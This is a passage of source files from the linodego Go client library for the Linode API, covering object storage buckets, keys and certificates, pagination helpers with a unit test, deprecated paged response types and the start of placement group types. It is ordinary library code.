generateListCacheURL(e, opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]NodeBalancerType), nil } response, err := getPaginatedResults[NodeBalancerType](ctx, c, e, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response, &cacheExpiryTime) return response, nil } golang-github-linode-linodego-1.47.0/object_storage.go000066400000000000000000000014231474652371000227320ustar00rootroot00000000000000package linodego import ( "context" ) // ObjectStorageTransfer is an object matching the response of object-storage/transfer type ObjectStorageTransfer struct { AmmountUsed int `json:"used"` } // CancelObjectStorage cancels and removes all object storage from the Account func (c *Client) CancelObjectStorage(ctx context.Context) error { e := "object-storage/cancel" _, err := doPOSTRequest[any, any](ctx, c, e) return err } // GetObjectStorageTransfer returns the amount of outbound data transferred used by the Account func (c *Client) GetObjectStorageTransfer(ctx context.Context) (*ObjectStorageTransfer, error) { e := "object-storage/transfer" response, err := doGETRequest[ObjectStorageTransfer](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/object_storage_bucket_certs.go000066400000000000000000000045661474652371000255020ustar00rootroot00000000000000package linodego import ( "context" ) // Deprecated: Please use ObjectStorageBucketCertV2 for all new implementations. type ObjectStorageBucketCert struct { SSL bool `json:"ssl"` } type ObjectStorageBucketCertV2 struct { SSL *bool `json:"ssl"` } type ObjectStorageBucketCertUploadOptions struct { Certificate string `json:"certificate"` PrivateKey string `json:"private_key"` } // UploadObjectStorageBucketCert uploads a TLS/SSL Cert to be used with an Object Storage Bucket. // Deprecated: Please use UploadObjectStorageBucketCertV2 for all new implementations. func (c *Client) UploadObjectStorageBucketCert(ctx context.Context, clusterOrRegionID, bucket string, opts ObjectStorageBucketCertUploadOptions) (*ObjectStorageBucketCert, error) { e := formatAPIPath("object-storage/buckets/%s/%s/ssl", clusterOrRegionID, bucket) return doPOSTRequest[ObjectStorageBucketCert](ctx, c, e, opts) } // GetObjectStorageBucketCert gets an ObjectStorageBucketCert // Deprecated: Please use GetObjectStorageBucketCertV2 for all new implementations. func (c *Client) GetObjectStorageBucketCert(ctx context.Context, clusterOrRegionID, bucket string) (*ObjectStorageBucketCert, error) { e := formatAPIPath("object-storage/buckets/%s/%s/ssl", clusterOrRegionID, bucket) return doGETRequest[ObjectStorageBucketCert](ctx, c, e) } // UploadObjectStorageBucketCert uploads a TLS/SSL Cert to be used with an Object Storage Bucket. func (c *Client) UploadObjectStorageBucketCertV2(ctx context.Context, clusterOrRegionID, bucket string, opts ObjectStorageBucketCertUploadOptions) (*ObjectStorageBucketCertV2, error) { e := formatAPIPath("object-storage/buckets/%s/%s/ssl", clusterOrRegionID, bucket) return doPOSTRequest[ObjectStorageBucketCertV2](ctx, c, e, opts) } // GetObjectStorageBucketCertV2 gets an ObjectStorageBucketCert func (c *Client) GetObjectStorageBucketCertV2(ctx context.Context, clusterOrRegionID, bucket string) (*ObjectStorageBucketCertV2, error) { e := formatAPIPath("object-storage/buckets/%s/%s/ssl", clusterOrRegionID, bucket) return doGETRequest[ObjectStorageBucketCertV2](ctx, c, e) } // DeleteObjectStorageBucketCert deletes an ObjectStorageBucketCert func (c *Client) DeleteObjectStorageBucketCert(ctx context.Context, clusterOrRegionID, bucket string) error { e := formatAPIPath("object-storage/buckets/%s/%s/ssl", clusterOrRegionID, bucket) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/object_storage_buckets.go000066400000000000000000000171421474652371000244570ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/google/go-querystring/query" "github.com/linode/linodego/internal/parseabletime" ) // ObjectStorageBucket represents a ObjectStorage object type ObjectStorageBucket struct { Label string `json:"label"` // Deprecated: The 'Cluster' field has been deprecated in favor of the 'Region' field. // For example, a Cluster value of `us-mia-1` will translate to a Region value of `us-mia`. // // This is necessary because there are now multiple Object Storage clusters to a region. // // NOTE: The 'Cluster' field will always return a value similar to `-1` (e.g., `us-mia-1`) // for backward compatibility purposes. Cluster string `json:"cluster"` Region string `json:"region"` S3Endpoint string `json:"s3_endpoint"` EndpointType ObjectStorageEndpointType `json:"endpoint_type"` Created *time.Time `json:"-"` Hostname string `json:"hostname"` Objects int `json:"objects"` Size int `json:"size"` } // ObjectStorageBucketAccess holds Object Storage access info type ObjectStorageBucketAccess struct { ACL ObjectStorageACL `json:"acl"` CorsEnabled bool `json:"cors_enabled"` } type ObjectStorageBucketAccessV2 struct { ACL ObjectStorageACL `json:"acl"` ACLXML string `json:"acl_xml"` CorsEnabled *bool `json:"cors_enabled"` CorsXML *string `json:"cors_xml"` } // ObjectStorageBucketContent holds the content of an ObjectStorageBucket type ObjectStorageBucketContent struct { Data []ObjectStorageBucketContentData `json:"data"` IsTruncated bool `json:"is_truncated"` NextMarker *string `json:"next_marker"` } // ObjectStorageBucketContentData holds the data of the content of an ObjectStorageBucket type ObjectStorageBucketContentData struct { Etag string `json:"etag"` LastModified *time.Time `json:"last_modified"` Name string `json:"name"` Owner string `json:"owner"` Size int `json:"size"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *ObjectStorageBucket) UnmarshalJSON(b []byte) error { type Mask ObjectStorageBucket p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) return nil } // ObjectStorageBucketCreateOptions fields are those accepted by CreateObjectStorageBucket type ObjectStorageBucketCreateOptions struct { // Deprecated: The 'Cluster' field has been deprecated. // // Going forward, the 'Region' field will be the supported way to designate where an // Object Storage Bucket should be created. For example, a 'Cluster' value of `us-mia-1` // will translate to a Region value of `us-mia`. Cluster string `json:"cluster,omitempty"` Region string `json:"region,omitempty"` Label string `json:"label"` S3Endpoint string `json:"s3_endpoint,omitempty"` EndpointType ObjectStorageEndpointType `json:"endpoint_type,omitempty"` ACL ObjectStorageACL `json:"acl,omitempty"` CorsEnabled *bool `json:"cors_enabled,omitempty"` } // ObjectStorageBucketUpdateAccessOptions fields are those accepted by UpdateObjectStorageBucketAccess type ObjectStorageBucketUpdateAccessOptions struct { ACL ObjectStorageACL `json:"acl,omitempty"` CorsEnabled *bool `json:"cors_enabled,omitempty"` } // ObjectStorageBucketListContentsParams fields are the query parameters for ListObjectStorageBucketContents type ObjectStorageBucketListContentsParams struct { Marker *string Delimiter *string Prefix *string PageSize *int } // ObjectStorageACL options start with ACL and include all known ACL types type ObjectStorageACL string // ObjectStorageACL options represent the access control level of a bucket. const ( ACLPrivate ObjectStorageACL = "private" ACLPublicRead ObjectStorageACL = "public-read" ACLAuthenticatedRead ObjectStorageACL = "authenticated-read" ACLPublicReadWrite ObjectStorageACL = "public-read-write" ) // ListObjectStorageBuckets lists ObjectStorageBuckets func (c *Client) ListObjectStorageBuckets(ctx context.Context, opts *ListOptions) ([]ObjectStorageBucket, error) { return getPaginatedResults[ObjectStorageBucket](ctx, c, "object-storage/buckets", opts) } // ListObjectStorageBucketsInCluster lists all ObjectStorageBuckets of a cluster func (c *Client) ListObjectStorageBucketsInCluster(ctx context.Context, opts *ListOptions, clusterOrRegionID string) ([]ObjectStorageBucket, error) { return getPaginatedResults[ObjectStorageBucket](ctx, c, formatAPIPath("object-storage/buckets/%s", clusterOrRegionID), opts) } // GetObjectStorageBucket gets the ObjectStorageBucket with the provided label func (c *Client) GetObjectStorageBucket(ctx context.Context, clusterOrRegionID, label string) (*ObjectStorageBucket, error) { e := formatAPIPath("object-storage/buckets/%s/%s", clusterOrRegionID, label) return doGETRequest[ObjectStorageBucket](ctx, c, e) } // CreateObjectStorageBucket creates an ObjectStorageBucket func (c *Client) CreateObjectStorageBucket(ctx context.Context, opts ObjectStorageBucketCreateOptions) (*ObjectStorageBucket, error) { e := "object-storage/buckets" return doPOSTRequest[ObjectStorageBucket](ctx, c, e, opts) } // GetObjectStorageBucketAccess gets the current access config for a bucket // Deprecated: use GetObjectStorageBucketAccessV2 for new implementations func (c *Client) GetObjectStorageBucketAccess(ctx context.Context, clusterOrRegionID, label string) (*ObjectStorageBucketAccess, error) { e := formatAPIPath("object-storage/buckets/%s/%s/access", clusterOrRegionID, label) return doGETRequest[ObjectStorageBucketAccess](ctx, c, e) } // UpdateObjectStorageBucketAccess updates the access configuration for an ObjectStorageBucket func (c *Client) UpdateObjectStorageBucketAccess(ctx context.Context, clusterOrRegionID, label string, opts ObjectStorageBucketUpdateAccessOptions) error { e := formatAPIPath("object-storage/buckets/%s/%s/access", clusterOrRegionID, label) _, err := doPOSTRequest[ObjectStorageBucketAccess](ctx, c, e, opts) return err } // GetObjectStorageBucketAccess gets the current access config for a bucket func (c *Client) GetObjectStorageBucketAccessV2(ctx context.Context, clusterOrRegionID, label string) (*ObjectStorageBucketAccessV2, error) { e := formatAPIPath("object-storage/buckets/%s/%s/access", clusterOrRegionID, label) return doGETRequest[ObjectStorageBucketAccessV2](ctx, c, e) } // DeleteObjectStorageBucket deletes the ObjectStorageBucket with the specified label func (c *Client) DeleteObjectStorageBucket(ctx context.Context, clusterOrRegionID, label string) error { e := formatAPIPath("object-storage/buckets/%s/%s", clusterOrRegionID, label) return doDELETERequest(ctx, c, e) } // Lists the contents of the specified ObjectStorageBucket func (c *Client) ListObjectStorageBucketContents(ctx context.Context, clusterOrRegionID, label string, params *ObjectStorageBucketListContentsParams) (*ObjectStorageBucketContent, error) { basePath := formatAPIPath("object-storage/buckets/%s/%s/object-list", clusterOrRegionID, label) queryString := "" if params != nil { values, err := query.Values(params) if err != nil { return nil, fmt.Errorf("failed to encode query params: %w", err) } queryString = "?" + values.Encode() } e := basePath + queryString return doGETRequest[ObjectStorageBucketContent](ctx, c, e) } golang-github-linode-linodego-1.47.0/object_storage_clusters.go000066400000000000000000000021671474652371000246640ustar00rootroot00000000000000package linodego import ( "context" ) // ObjectStorageCluster represents a linode object storage cluster object type ObjectStorageCluster struct { ID string `json:"id"` Domain string `json:"domain"` Status string `json:"status"` Region string `json:"region"` StaticSiteDomain string `json:"static_site_domain"` } // ListObjectStorageClusters lists ObjectStorageClusters func (c *Client) ListObjectStorageClusters(ctx context.Context, opts *ListOptions) ([]ObjectStorageCluster, error) { response, err := getPaginatedResults[ObjectStorageCluster](ctx, c, "object-storage/clusters", opts) if err != nil { return nil, err } return response, nil } // Deprecated: GetObjectStorageCluster uses a deprecated API endpoint. // GetObjectStorageCluster gets the template with the provided ID func (c *Client) GetObjectStorageCluster(ctx context.Context, clusterID string) (*ObjectStorageCluster, error) { e := formatAPIPath("object-storage/clusters/%s", clusterID) response, err := doGETRequest[ObjectStorageCluster](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/object_storage_endpoints.go000066400000000000000000000021341474652371000250150ustar00rootroot00000000000000package linodego import "context" // NotificationType constants start with Notification and include all known Linode API Notification Types. type ObjectStorageEndpointType string // NotificationType constants represent the actions that cause a Notification. New types may be added in the future. const ( ObjectStorageEndpointE0 ObjectStorageEndpointType = "E0" ObjectStorageEndpointE1 ObjectStorageEndpointType = "E1" ObjectStorageEndpointE2 ObjectStorageEndpointType = "E2" ObjectStorageEndpointE3 ObjectStorageEndpointType = "E3" ) // ObjectStorageEndpoint represents a linode object storage endpoint object type ObjectStorageEndpoint struct { Region string `json:"region"` S3Endpoint *string `json:"s3_endpoint"` EndpointType ObjectStorageEndpointType `json:"endpoint_type"` } // ListObjectStorageEndpoints lists all endpoints in all regions func (c *Client) ListObjectStorageEndpoints(ctx context.Context, opts *ListOptions) ([]ObjectStorageEndpoint, error) { return getPaginatedResults[ObjectStorageEndpoint](ctx, c, "object-storage/endpoints", opts) } golang-github-linode-linodego-1.47.0/object_storage_keys.go000066400000000000000000000064351474652371000237750ustar00rootroot00000000000000package linodego import ( "context" ) type ObjectStorageKeyRegion struct { ID string `json:"id"` S3Endpoint string `json:"s3_endpoint"` EndpointType ObjectStorageEndpointType `json:"endpoint_type"` } // ObjectStorageKey represents a linode object storage key object type ObjectStorageKey struct { ID int `json:"id"` Label string `json:"label"` AccessKey string `json:"access_key"` SecretKey string `json:"secret_key"` Limited bool `json:"limited"` BucketAccess *[]ObjectStorageKeyBucketAccess `json:"bucket_access"` Regions []ObjectStorageKeyRegion `json:"regions"` } // ObjectStorageKeyBucketAccess represents a linode limited object storage key's bucket access type ObjectStorageKeyBucketAccess struct { // Deprecated: Cluster field has been deprecated. // Please consider switching to use the 'Region' field. // If your Cluster is `us-mia-1`, then the region would be `us-mia`. Cluster string `json:"cluster,omitempty"` Region string `json:"region,omitempty"` BucketName string `json:"bucket_name"` Permissions string `json:"permissions"` } // ObjectStorageKeyCreateOptions fields are those accepted by CreateObjectStorageKey type ObjectStorageKeyCreateOptions struct { Label string `json:"label"` BucketAccess *[]ObjectStorageKeyBucketAccess `json:"bucket_access,omitempty"` Regions []string `json:"regions,omitempty"` } // ObjectStorageKeyUpdateOptions fields are those accepted by UpdateObjectStorageKey type ObjectStorageKeyUpdateOptions struct { Label string `json:"label,omitempty"` Regions []string `json:"regions,omitempty"` } // ListObjectStorageKeys lists ObjectStorageKeys func (c *Client) ListObjectStorageKeys(ctx context.Context, opts *ListOptions) ([]ObjectStorageKey, error) { response, err := getPaginatedResults[ObjectStorageKey](ctx, c, "object-storage/keys", opts) return response, err } // CreateObjectStorageKey creates a ObjectStorageKey func (c *Client) CreateObjectStorageKey(ctx context.Context, opts ObjectStorageKeyCreateOptions) (*ObjectStorageKey, error) { e := "object-storage/keys" response, err := doPOSTRequest[ObjectStorageKey](ctx, c, e, opts) return response, err } // GetObjectStorageKey gets the object storage key with the provided ID func (c *Client) GetObjectStorageKey(ctx context.Context, keyID int) (*ObjectStorageKey, error) { e := formatAPIPath("object-storage/keys/%d", keyID) response, err := doGETRequest[ObjectStorageKey](ctx, c, e) return response, err } // UpdateObjectStorageKey updates the object storage key with the specified id func (c *Client) UpdateObjectStorageKey(ctx context.Context, keyID int, opts ObjectStorageKeyUpdateOptions) (*ObjectStorageKey, error) { e := formatAPIPath("object-storage/keys/%d", keyID) response, err := doPUTRequest[ObjectStorageKey](ctx, c, e, opts) return response, err } // DeleteObjectStorageKey deletes the ObjectStorageKey with the specified id func (c *Client) DeleteObjectStorageKey(ctx context.Context, keyID int) error { e := formatAPIPath("object-storage/keys/%d", keyID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/object_storage_object.go000066400000000000000000000051151474652371000242620ustar00rootroot00000000000000package linodego import ( "context" ) type ObjectStorageObjectURLCreateOptions struct { Name string `json:"name"` Method string `json:"method"` ContentType string `json:"content_type,omitempty"` ContentDisposition string `json:"content_disposition,omitempty"` ExpiresIn *int `json:"expires_in,omitempty"` } type ObjectStorageObjectURL struct { URL string `json:"url"` Exists bool `json:"exists"` } // Deprecated: Please use ObjectStorageObjectACLConfigV2 for all new implementations. type ObjectStorageObjectACLConfig struct { ACL string `json:"acl"` ACLXML string `json:"acl_xml"` } type ObjectStorageObjectACLConfigV2 struct { ACL *string `json:"acl"` ACLXML *string `json:"acl_xml"` } type ObjectStorageObjectACLConfigUpdateOptions struct { Name string `json:"name"` ACL string `json:"acl"` } func (c *Client) CreateObjectStorageObjectURL(ctx context.Context, objectID, label string, opts ObjectStorageObjectURLCreateOptions) (*ObjectStorageObjectURL, error) { e := formatAPIPath("object-storage/buckets/%s/%s/object-url", objectID, label) return doPOSTRequest[ObjectStorageObjectURL](ctx, c, e, opts) } // Deprecated: use GetObjectStorageObjectACLConfigV2 for new implementations func (c *Client) GetObjectStorageObjectACLConfig(ctx context.Context, objectID, label, object string) (*ObjectStorageObjectACLConfig, error) { e := formatAPIPath("object-storage/buckets/%s/%s/object-acl?name=%s", objectID, label, object) return doGETRequest[ObjectStorageObjectACLConfig](ctx, c, e) } // Deprecated: use UpdateObjectStorageObjectACLConfigV2 for new implementations func (c *Client) UpdateObjectStorageObjectACLConfig(ctx context.Context, objectID, label string, opts ObjectStorageObjectACLConfigUpdateOptions) (*ObjectStorageObjectACLConfig, error) { e := formatAPIPath("object-storage/buckets/%s/%s/object-acl", objectID, label) return doPUTRequest[ObjectStorageObjectACLConfig](ctx, c, e, opts) } func (c *Client) GetObjectStorageObjectACLConfigV2(ctx context.Context, objectID, label, object string) (*ObjectStorageObjectACLConfigV2, error) { e := formatAPIPath("object-storage/buckets/%s/%s/object-acl?name=%s", objectID, label, object) return doGETRequest[ObjectStorageObjectACLConfigV2](ctx, c, e) } func (c *Client) UpdateObjectStorageObjectACLConfigV2(ctx context.Context, objectID, label string, opts ObjectStorageObjectACLConfigUpdateOptions) (*ObjectStorageObjectACLConfigV2, error) { e := formatAPIPath("object-storage/buckets/%s/%s/object-acl", objectID, label) return doPUTRequest[ObjectStorageObjectACLConfigV2](ctx, c, e, opts) } golang-github-linode-linodego-1.47.0/paged_response_structs.go000066400000000000000000000233541474652371000245340ustar00rootroot00000000000000package linodego // Deprecated: AccountAvailabilityPagedResponse exists for historical compatibility and should not be used. type AccountAvailabilityPagedResponse legacyPagedResponse[AccountAvailability] // Deprecated: AccountBetasPagedResponse exists for historical compatibility and should not be used. type AccountBetasPagedResponse legacyPagedResponse[AccountBetaProgram] // Deprecated: BetaProgramPagedResponse exists for historical compatibility and should not be used. type BetaProgramPagedResponse legacyPagedResponse[BetaProgram] // Deprecated: DatabaseEnginesPagedResponse exists for historical compatibility and should not be used. type DatabaseEnginesPagedResponse legacyPagedResponse[DatabaseEngine] // Deprecated: DatabaseTypesPagedResponse exists for historical compatibility and should not be used. type DatabaseTypesPagedResponse legacyPagedResponse[DatabaseType] // Deprecated: DatabasesPagedResponse exists for historical compatibility and should not be used. type DatabasesPagedResponse legacyPagedResponse[Database] // Deprecated: DomainRecordsPagedResponse exists for historical compatibility and should not be used. type DomainRecordsPagedResponse legacyPagedResponse[DomainRecord] // Deprecated: DomainsPagedResponse exists for historical compatibility and should not be used. type DomainsPagedResponse legacyPagedResponse[Domain] // Deprecated: EventsPagedResponse exists for historical compatibility and should not be used. type EventsPagedResponse legacyPagedResponse[Event] // Deprecated: FirewallDevicesPagedResponse exists for historical compatibility and should not be used. type FirewallDevicesPagedResponse legacyPagedResponse[FirewallDevice] // Deprecated: FirewallsPagedResponse exists for historical compatibility and should not be used. type FirewallsPagedResponse legacyPagedResponse[Firewall] // Deprecated: ImagesPagedResponse exists for historical compatibility and should not be used. type ImagesPagedResponse legacyPagedResponse[Image] // Deprecated: InstanceConfigsPagedResponse exists for historical compatibility and should not be used. type InstanceConfigsPagedResponse legacyPagedResponse[InstanceConfig] // Deprecated: InstanceDisksPagedResponse exists for historical compatibility and should not be used. type InstanceDisksPagedResponse legacyPagedResponse[InstanceDisk] // Deprecated: InstanceFirewallsPagedResponse exists for historical compatibility and should not be used. type InstanceFirewallsPagedResponse legacyPagedResponse[Firewall] // Deprecated: InstanceVolumesPagedResponse exists for historical compatibility and should not be used. type InstanceVolumesPagedResponse legacyPagedResponse[Volume] // Deprecated: InstancesPagedResponse exists for historical compatibility and should not be used. type InstancesPagedResponse legacyPagedResponse[Instance] // Deprecated: InvoiceItemsPagedResponse exists for historical compatibility and should not be used. type InvoiceItemsPagedResponse legacyPagedResponse[InvoiceItem] // Deprecated: InvoicesPagedResponse exists for historical compatibility and should not be used. type InvoicesPagedResponse legacyPagedResponse[Invoice] // Deprecated: LKEClusterPoolsPagedResponse exists for historical compatibility and should not be used. // LKEClusterPoolsPagedResponse represents a paginated LKEClusterPool API response. type LKEClusterPoolsPagedResponse LKENodePoolsPagedResponse // Deprecated: LKEVersionsPagedResponse exists for historical compatibility and should not be used. type LKEVersionsPagedResponse legacyPagedResponse[LKEVersion] // Deprecated: LKEClusterAPIEndpointsPagedResponse exists for historical compatibility and should not be used. type LKEClusterAPIEndpointsPagedResponse legacyPagedResponse[LKEClusterAPIEndpoint] // Deprecated: LKEClustersPagedResponse exists for historical compatibility and should not be used. type LKEClustersPagedResponse legacyPagedResponse[LKECluster] // Deprecated: LKENodePoolsPagedResponse exists for historical compatibility and should not be used. type LKENodePoolsPagedResponse legacyPagedResponse[LKENodePool] // Deprecated: IPAddressesPagedResponse exists for historical compatibility and should not be used. type IPAddressesPagedResponse legacyPagedResponse[InstanceIP] // Deprecated: IPv6PoolsPagedResponse exists for historical compatibility and should not be used. type IPv6PoolsPagedResponse legacyPagedResponse[IPv6Range] // Deprecated: IPv6RangesPagedResponse exists for historical compatibility and should not be used. type IPv6RangesPagedResponse legacyPagedResponse[IPv6Range] // Deprecated: LinodeKernelsPagedResponse exists for historical compatibility and should not be used. type LinodeKernelsPagedResponse legacyPagedResponse[LinodeKernel] // Deprecated: LinodeTypesPagedResponse exists for historical compatibility and should not be used. type LinodeTypesPagedResponse legacyPagedResponse[LinodeType] // Deprecated: LoginsPagedResponse exists for historical compatibility and should not be used. type LoginsPagedResponse legacyPagedResponse[Login] // Deprecated: LongviewClientsPagedResponse exists for historical compatibility and should not be used. type LongviewClientsPagedResponse legacyPagedResponse[LongviewClient] // Deprecated: LongviewSubscriptionsPagedResponse exists for historical compatibility and should not be used. type LongviewSubscriptionsPagedResponse legacyPagedResponse[LongviewSubscription] // Deprecated: MySQLDatabasesPagedResponse exists for historical compatibility and should not be used. type MySQLDatabasesPagedResponse legacyPagedResponse[MySQLDatabase] // Deprecated: MySQLDatabaseBackupsPagedResponse exists for historical compatibility and should not be used. type MySQLDatabaseBackupsPagedResponse legacyPagedResponse[MySQLDatabaseBackup] // Deprecated: NodeBalancersPagedResponse exists for historical compatibility and should not be used. type NodeBalancersPagedResponse legacyPagedResponse[NodeBalancer] // Deprecated: NodeBalancerConfigsPagedResponse exists for historical compatibility and should not be used. type NodeBalancerConfigsPagedResponse legacyPagedResponse[NodeBalancerConfig] // Deprecated: NodeBalancerNodesPagedResponse exists for historical compatibility and should not be used. type NodeBalancerNodesPagedResponse legacyPagedResponse[NodeBalancerNode] // Deprecated: NodeBalancerFirewallsPagedResponse exists for historical compatibility and should not be used. type NodeBalancerFirewallsPagedResponse legacyPagedResponse[Firewall] // Deprecated: NotificationsPagedResponse exists for historical compatibility and should not be used. type NotificationsPagedResponse legacyPagedResponse[Notification] // Deprecated: OAuthClientsPagedResponse exists for historical compatibility and should not be used. type OAuthClientsPagedResponse legacyPagedResponse[OAuthClient] // Deprecated: ObjectStorageKeysPagedResponse exists for historical compatibility and should not be used. type ObjectStorageKeysPagedResponse legacyPagedResponse[ObjectStorageKey] // Deprecated: ObjectStorageBucketsPagedResponse exists for historical compatibility and should not be used. type ObjectStorageBucketsPagedResponse legacyPagedResponse[ObjectStorageBucket] // Deprecated: ObjectStorageClustersPagedResponse exists for historical compatibility and should not be used. type ObjectStorageClustersPagedResponse legacyPagedResponse[ObjectStorageCluster] // Deprecated: PaymentsPagedResponse exists for historical compatibility and should not be used. type PaymentsPagedResponse legacyPagedResponse[Payment] // Deprecated: RegionsPagedResponse exists for historical compatibility and should not be used. type RegionsPagedResponse legacyPagedResponse[Region] // Deprecated: SSHKeysPagedResponse exists for historical compatibility and should not be used. type SSHKeysPagedResponse legacyPagedResponse[SSHKey] // Deprecated: TokensPagedResponse exists for historical compatibility and should not be used. type ( TokensPagedResponse legacyPagedResponse[Token] // Deprecated: RegionsAvailabilityPagedResponse exists for historical compatibility and should not be used. RegionsAvailabilityPagedResponse legacyPagedResponse[RegionAvailability] ) // Deprecated: StackscriptsPagedResponse exists for historical compatibility and should not be used. type StackscriptsPagedResponse legacyPagedResponse[Stackscript] // Deprecated: TagsPagedResponse exists for historical compatibility and should not be used. type TagsPagedResponse legacyPagedResponse[Tag] // Deprecated: TaggedObjectsPagedResponse exists for historical compatibility and should not be used. type TaggedObjectsPagedResponse legacyPagedResponse[TaggedObject] // Deprecated: TicketsPagedResponse exists for historical compatibility and should not be used. type TicketsPagedResponse legacyPagedResponse[Ticket] // Deprecated: PostgresDatabasesPagedResponse exists for historical compatibility and should not be used. type PostgresDatabasesPagedResponse legacyPagedResponse[PostgresDatabase] // Deprecated: PostgresDatabaseBackupsPagedResponse exists for historical compatibility and should not be used. type PostgresDatabaseBackupsPagedResponse legacyPagedResponse[PostgresDatabaseBackup] // Deprecated: ProfileLoginsPagedResponse exists for historical compatibility and should not be used. type ProfileLoginsPagedResponse legacyPagedResponse[ProfileLogin] // Deprecated: UsersPagedResponse exists for historical compatibility and should not be used. type UsersPagedResponse legacyPagedResponse[User] // Deprecated: VolumesPagedResponse exists for historical compatibility and should not be used. type VolumesPagedResponse legacyPagedResponse[Volume] // Deprecated: VPCsPagedResponse exists for historical compatibility and should not be used. type VPCsPagedResponse legacyPagedResponse[VPC] // Deprecated: VPCSubnetsPagedResponse exists for historical compatibility and should not be used. type VPCSubnetsPagedResponse legacyPagedResponse[VPCSubnet] golang-github-linode-linodego-1.47.0/pagination.go000066400000000000000000000076501474652371000221010ustar00rootroot00000000000000package linodego /** * Pagination and Filtering types and helpers */ import ( "crypto/sha256" "encoding/hex" "encoding/json" "fmt" "reflect" "strconv" "github.com/go-resty/resty/v2" ) // PageOptions are the pagination parameters for List endpoints type PageOptions struct { Page int `json:"page" url:"page,omitempty"` Pages int `json:"pages" url:"pages,omitempty"` Results int `json:"results" url:"results,omitempty"` } // ListOptions are the pagination and filtering (TODO) parameters for endpoints // nolint type ListOptions struct { *PageOptions PageSize int `json:"page_size"` Filter string `json:"filter"` // QueryParams allows for specifying custom query parameters on list endpoint // calls. QueryParams should be an instance of a struct containing fields with // the `query` tag. QueryParams any } // NewListOptions simplified construction of ListOptions using only // the two writable properties, Page and Filter func NewListOptions(page int, filter string) *ListOptions { return &ListOptions{PageOptions: &PageOptions{Page: page}, Filter: filter} } // Hash returns the sha256 hash of the provided ListOptions. // This is necessary for caching purposes. func (l ListOptions) Hash() (string, error) { data, err := json.Marshal(l) if err != nil { return "", fmt.Errorf("failed to cache ListOptions: %w", err) } h := sha256.New() h.Write(data) return hex.EncodeToString(h.Sum(nil)), nil } func applyListOptionsToRequest(opts *ListOptions, req *resty.Request) error { if opts == nil { return nil } if opts.QueryParams != nil { params, err := flattenQueryStruct(opts.QueryParams) if err != nil { return fmt.Errorf("failed to apply list options: %w", err) } req.SetQueryParams(params) } if opts.PageOptions != nil && opts.Page > 0 { req.SetQueryParam("page", strconv.Itoa(opts.Page)) } if opts.PageSize > 0 { req.SetQueryParam("page_size", strconv.Itoa(opts.PageSize)) } if len(opts.Filter) > 0 { req.SetHeader("X-Filter", opts.Filter) } return nil } type PagedResponse interface { endpoint(...any) string castResult(*resty.Request, string) (int, int, error) } // flattenQueryStruct flattens a structure into a Resty-compatible query param map. // Fields are mapped using the `query` struct tag. func flattenQueryStruct(val any) (map[string]string, error) { result := make(map[string]string) reflectVal := reflect.ValueOf(val) // Deref pointer if necessary if reflectVal.Kind() == reflect.Pointer { if reflectVal.IsNil() { return nil, fmt.Errorf("QueryParams is a nil pointer") } reflectVal = reflect.Indirect(reflectVal) } if reflectVal.Kind() != reflect.Struct { return nil, fmt.Errorf( "expected struct type for the QueryParams but got: %s", reflectVal.Kind().String(), ) } valType := reflectVal.Type() for i := range valType.NumField() { currentField := valType.Field(i) queryTag, ok := currentField.Tag.Lookup("query") // Skip untagged fields if !ok { continue } valField := reflectVal.FieldByName(currentField.Name) if !valField.IsValid() { return nil, fmt.Errorf("invalid query param tag: %s", currentField.Name) } // Skip if it's a zero value if valField.IsZero() { continue } // Deref the pointer is necessary if valField.Kind() == reflect.Pointer { valField = reflect.Indirect(valField) } fieldString, err := queryFieldToString(valField) if err != nil { return nil, err } result[queryTag] = fieldString } return result, nil } func queryFieldToString(value reflect.Value) (string, error) { switch value.Kind() { case reflect.String: return value.String(), nil case reflect.Int64, reflect.Int32, reflect.Int: return strconv.FormatInt(value.Int(), 10), nil case reflect.Bool: return strconv.FormatBool(value.Bool()), nil default: return "", fmt.Errorf("unsupported query param type: %s", value.Type().Name()) } } type legacyPagedResponse[T any] struct { *PageOptions Data []T `json:"data"` } golang-github-linode-linodego-1.47.0/pagination_test.go000066400000000000000000000020261474652371000231300ustar00rootroot00000000000000package linodego import ( "reflect" "testing" "github.com/google/go-cmp/cmp" ) func TestFlattenQueryStruct(t *testing.T) { type TestStruct struct { TestInt int `query:"test_int"` TestString string `query:"test_string"` TestString2 string `query:"test_string_2"` TestInt64 int64 `query:"test_int64"` TestIn64Ptr *int64 `query:"test_int64_ptr"` TestBool bool `query:"test_bool"` TestUntagged string } testInt64 := int64(789) inst := TestStruct{ TestInt: 123, TestString: "test+string", TestString2: "", TestInt64: 567, TestIn64Ptr: &testInt64, TestBool: true, TestUntagged: "cool", } expectedOutput := map[string]string{ "test_int": "123", "test_string": "test+string", "test_int64": "567", "test_int64_ptr": "789", "test_bool": "true", } result, err := flattenQueryStruct(inst) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(result, expectedOutput) { t.Fatalf("diff in result: %v", cmp.Diff(result, expectedOutput)) } } golang-github-linode-linodego-1.47.0/placement_groups.go000066400000000000000000000117441474652371000233160ustar00rootroot00000000000000package linodego import "context" // PlacementGroupType is an enum that determines the affinity policy // for Linodes in a placement group. type PlacementGroupType string const ( PlacementGroupTypeAntiAffinityLocal PlacementGroupType = "anti_affinity:local" ) // PlacementGroupPolicy is an enum for the policy that determines whether a // Linode can be assigned to a Placement Group. type PlacementGroupPolicy string const ( PlacementGroupPolicyStrict PlacementGroupPolicy = "strict" PlacementGroupPolicyFlexible PlacementGroupPolicy = "flexible" ) // PlacementGroupMember represents a single Linode assigned to a // placement group. type PlacementGroupMember struct { LinodeID int `json:"linode_id"` IsCompliant bool `json:"is_compliant"` } // PlacementGroup represents a Linode placement group. type PlacementGroup struct { ID int `json:"id"` Label string `json:"label"` Region string `json:"region"` PlacementGroupType PlacementGroupType `json:"placement_group_type"` PlacementGroupPolicy 